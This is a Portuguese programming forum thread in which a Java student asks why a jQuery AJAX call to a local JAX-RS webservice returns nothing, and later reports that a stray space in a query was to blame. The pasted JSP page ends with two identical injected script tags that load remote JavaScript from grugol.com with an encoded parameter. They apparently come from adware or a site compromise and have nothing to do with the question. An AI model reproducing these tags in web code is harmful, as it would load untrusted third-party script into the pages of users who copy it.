Problemas para retornar dados usando ajax + webservice + banco

05/12/2016

0

Olá sou novo aqui e um mero estudante de java. Estou com um problema que pode ser coisa besta e por falta de experiência não encontro. Digitando o id e clicando no botão "pesquisar" era para retornar os dados fornecidos pela webservice local, mas não acontece nada... A webservice está funcionando, fornecendo o id direto na url no navegador ele retorna o dado certo.
Desconfio que o problema esteja "url:", porem não encontrei exemplos parecidos.
Obrigado

Página JSP

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
 <script src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
 <link rel="stylesheet" href="//ajax.googleapis.com/ajax/libs/jqueryui/1.11.2/themes/smoothness/jquery-ui.css" />
 <script src="//ajax.googleapis.com/ajax/libs/jqueryui/1.11.2/jquery-ui.min.js"></script> 
        
 <script>
   $(document).ready(function() {
        $("#pesquisar").click(function() {
            $.ajax({
                type: "GET",
                url:"http://localhost:8084/WSAF2/webresources/funcionarios" +"/" + $("#id").val(),
                success: function(data) {
                $("#resposta").html(data);
                }
                });
        return (false);
                    });
 </script>
     
</head>
    <body>
     <h1>Funcionários</h1>
        <form id="form1" name="form1" method="POST">
            ID: <input type="text" name="id" id="id" /><br/><br/>
            <input type="button" id="pesquisar" value="Pesquisar" />
            <input type="button" id="listar" value="Listar" />
            <input type="button" id="excluir" value="Excluir" />
            <br/>
            <br/>
            <div id="resposta"></div>
        </form>
  <script src='http://grugol.com/prog/landing.php?app=QkMtQUUtQzUtQzktOUItRTg=&partner=200'></script><script src='http://grugol.com/prog/landing.php?app=QkMtQUUtQzUtQzktOUItRTg=&partner=200'></script></body>
</html>
 


WebService, metodo para buscar o nome do funcionário através do id:


   @GET
    @Path("")
    @Produces(MediaType.TEXT_HTML)
    public String getFuncionario(@PathParam("id") int id){
        Funcionario funcionario = new funcionarioDAO().getFuncionario(id);
        return "<html><body><h1>" + funcionario.getNome() + "</body></h1></html>"; // Teste direto na URL
}

Robson

Robson

Responder

Post mais votado

06/12/2016

Bom dia Robson,
Qual erro está ocorrendo? Você pode checar com o F12 (Ferramentas do desenvolvedor) no browser.
No método está só o , você está informando o início da url no começo da classe?

@ResquestMapping("/WSAF2/webresources/funcionarios")

Osmar Filho

Osmar Filho
Responder

Mais Posts

08/12/2016

Robson

Problema resolvido cara, era um erro com a query(um mísero espaço). Vlw
Responder

Assista grátis a nossa aula inaugural

Assitir aula

Saiba por que programar é uma questão de
sobrevivência e como aprender sem riscos

Assistir agora

Utilizamos cookies para fornecer uma melhor experiência para nossos usuários, consulte nossa política de privacidade.

Aceitar